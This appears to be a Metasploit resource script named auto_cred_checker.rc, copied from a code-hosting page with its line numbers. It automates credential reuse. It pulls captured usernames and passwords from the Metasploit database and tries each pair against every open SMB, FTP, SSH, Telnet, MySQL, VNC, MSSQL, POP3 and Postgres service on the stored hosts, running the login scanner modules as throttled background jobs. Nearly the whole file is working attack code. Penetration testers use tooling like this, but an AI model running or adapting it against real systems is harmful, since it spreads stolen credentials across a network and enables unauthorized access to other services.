/
auto_cred_checker.rc
309 lines (271 loc) · 11 KB
/
auto_cred_checker.rc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
# auto-cred-checker.rc
# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de)
# This Metasploit RC-File could be used to automatically check already discovered
# credentials against some other login services.
# It uses allready discovered credential from the database and tries to use them against some
# other services
<ruby>
#we look in the global datastore for a global VERBOSE option and use it
if (framework.datastore['VERBOSE'] == "true")
verbose = 1 #true
else
verbose = 0
end
# Test and see if we have a database connected
begin
framework.db.hosts
rescue ::ActiveRecord::ConnectionNotEstablished
print_error("Database connection isn't established")
return
end
def jobwaiting(verbose)
maxjobs=15 #throtteling if we get too much jobs
while(framework.jobs.keys.length >= maxjobs)
::IO.select(nil, nil, nil, 2.5)
if (verbose == 1)
print_error("waiting for finishing some modules... active jobs: #{framework.jobs.keys.length} / threads: #{framework.threads.length}")
end
end
end
def infos(serv,creds,host)
print_line("")
print_line("====================================")
print_line("IP: #{host.address}")
print_line("OS: #{host.os_name}")
print_line("Servicename: #{serv.name}")
print_line("Service Port: #{serv.port.to_i}")
print_line("Service Protocol: #{serv.proto}")
print_line("User: #{creds.user}")
print_line("Pass: #{creds.pass}")
print_line("====================================")
print_line("")
end
framework.db.creds.each do |creds|
# ... we do not check windows hashes ... have a look at auto_pass_the_hash.rc
next if ( creds.ptype == "smb_hash" )
password = creds.pass
username = creds.user
framework.db.hosts.each do |host|
host.services.each do |serv|
next if not serv.host
next if (serv.state != Msf::ServiceState::Open)
# for now we only check these services, you can add some more ...
next if not (serv.name =~ /smb/ or
serv.name =~ /microsoft-ds/ or
serv.name =~ /netbios-ssn/ or
serv.name =~ /ftp/ or
serv.name =~ /ssh/ or
serv.name =~ /telnet/ or
serv.name =~ /mysql/ or
serv.name =~ /vnc/ or
serv.name =~ /mssql/ or
serv.name =~ /pop3/ or
serv.name =~ /postgres/)
xport = serv.port.to_i
xprot = serv.proto
xname = serv.name
xhost = host.address
if(xname =~ /smb/ or xname =~ /microsoft-ds/ or xname =~ /netbios-ssn/)
print_line("smb_login")
if(verbose == 1)
infos(serv,creds,host)
end
run_single("use auxiliary/scanner/smb/smb_login")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
run_single("unset USER_FILE") # to check just the credentials of the db we have to disable this
run_single("unset PASS_FILE") # to check just the credentials of the db we have to disable this
run_single("set BLANK_PASSWORDS false") # to check just the credentials of the db we have to disable this
run_single("set USER_AS_PASS false") # to check just the credentials of the db we have to disable this
run_single("set SMBUser #{username}")
run_single("set SMBPass #{password}")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
jobwaiting(verbose)
run_single("back")
elsif (xname =~ /ftp/)
print_line("ftp_login")
if(verbose == 1)
infos(serv,creds,host)
end
run_single("use auxiliary/scanner/ftp/ftp_login")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
run_single("unset USER_FILE") # to check just the credentials of the db we have to disable this
run_single("unset PASS_FILE") # to check just the credentials of the db we have to disable this
run_single("set BLANK_PASSWORDS false") # to check just the credentials of the db we have to disable this
run_single("set USER_AS_PASS false") # to check just the credentials of the db we have to disable this
run_single("set USERNAME #{username}")
run_single("set PASSWORD #{password}")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
jobwaiting(verbose)
run_single("back")
elsif(xname =~ /ssh/)
print_line("ssh_login")
if(verbose == 1)
infos(serv,creds,host)
end
run_single("use auxiliary/scanner/ssh/ssh_login")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
run_single("unset USER_FILE") # to check just the credentials of the db we have to disable this
run_single("unset PASS_FILE") # to check just the credentials of the db we have to disable this
run_single("set BLANK_PASSWORDS false") # to check just the credentials of the db we have to disable this
run_single("set USER_AS_PASS false") # to check just the credentials of the db we have to disable this
run_single("set USERNAME #{username}")
run_single("set PASSWORD #{password}")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
jobwaiting(verbose)
run_single("back")
elsif(xname =~ /telnet/)
print_line("telnet_login")
if(verbose == 1)
infos(serv,creds,host)
end
run_single("use auxiliary/scanner/telnet/telnet_login")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
run_single("unset USER_FILE") # to check just the credentials of the db we have to disable this
run_single("unset PASS_FILE") # to check just the credentials of the db we have to disable this
run_single("set BLANK_PASSWORDS false") # to check just the credentials of the db we have to disable this
run_single("set USER_AS_PASS false") # to check just the credentials of the db we have to disable this
run_single("set USERNAME #{username}")
run_single("set PASSWORD #{password}")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
jobwaiting(verbose)
run_single("back")
elsif(xname =~ /mysql/)
print_line("mysql_login")
if(verbose == 1)
infos(serv,creds,host)
end
run_single("use auxiliary/scanner/mysql/mysql_login")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
run_single("unset USER_FILE") # to check just the credentials of the db we have to disable this
run_single("unset PASS_FILE") # to check just the credentials of the db we have to disable this
run_single("set BLANK_PASSWORDS false") # to check just the credentials of the db we have to disable this
run_single("set USER_AS_PASS false") # to check just the credentials of the db we have to disable this
run_single("set USERNAME #{username}")
run_single("set PASSWORD #{password}")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
jobwaiting(verbose)
run_single("back")
elsif(xname =~ /vnc/)
print_line("vnc_login")
if(verbose == 1)
infos(serv,creds,host)
end
run_single("use auxiliary/scanner/vnc/vnc_login")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
run_single("unset USER_FILE") # to check just the credentials of the db we have to disable this
run_single("unset PASS_FILE") # to check just the credentials of the db we have to disable this
run_single("set BLANK_PASSWORDS false") # to check just the credentials of the db we have to disable this
run_single("set USER_AS_PASS false") # to check just the credentials of the db we have to disable this
run_single("set USERNAME #{username}")
run_single("set PASSWORD #{password}")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
jobwaiting(verbose)
run_single("back")
elsif(xname =~ /mssql/)
print_line("mssql_login")
if(verbose == 1)
infos(serv,creds,host)
end
run_single("use auxiliary/scanner/mssql/mssql_login")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
run_single("unset USER_FILE") # to check just the credentials of the db we have to disable this
run_single("unset PASS_FILE") # to check just the credentials of the db we have to disable this
run_single("set BLANK_PASSWORDS false") # to check just the credentials of the db we have to disable this
run_single("set USER_AS_PASS false") # to check just the credentials of the db we have to disable this
run_single("set USERNAME #{username}")
run_single("set PASSWORD #{password}")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
jobwaiting(verbose)
run_single("back")
elsif(xname =~ /pop3/)
print_line("pop3_login")
if(verbose == 1)
infos(serv,creds,host)
end
run_single("use auxiliary/scanner/pop3/pop3_login")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
run_single("unset USER_FILE") # to check just the credentials of the db we have to disable this
run_single("unset PASS_FILE") # to check just the credentials of the db we have to disable this
run_single("set BLANK_PASSWORDS false") # to check just the credentials of the db we have to disable this
run_single("set USER_AS_PASS false") # to check just the credentials of the db we have to disable this
run_single("set USERNAME #{username}")
run_single("set PASSWORD #{password}")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
jobwaiting(verbose)
run_single("back")
elsif (xname =~ /postgres/)
print_line("postgres_login")
if(verbose == 1)
infos(serv,creds,host)
end
run_single("use auxiliary/scanner/postgres/postgres_login")
run_single("set RHOSTS #{xhost}")
run_single("set RPORT #{xport}")
run_single("unset USER_FILE") # to check just the credentials of the db we have to disable this
run_single("unset PASS_FILE") # to check just the credentials of the db we have to disable this
run_single("unset USERPASS_FILE") # to check just the credentials of the db we have to disable this
run_single("set BLANK_PASSWORDS false") # to check just the credentials of the db we have to disable this
run_single("set USER_AS_PASS false") # to check just the credentials of the db we have to disable this
run_single("set USERNAME #{username}")
run_single("set PASSWORD #{password}")
if(verbose == 1)
run_single("set VERBOSE true")
run_single("run -j")
else
run_single("run -j -q")
end
jobwaiting(verbose)
run_single("back")
end
end # host.services.each loop
end # framework.db.hosts.each loop
end
</ruby>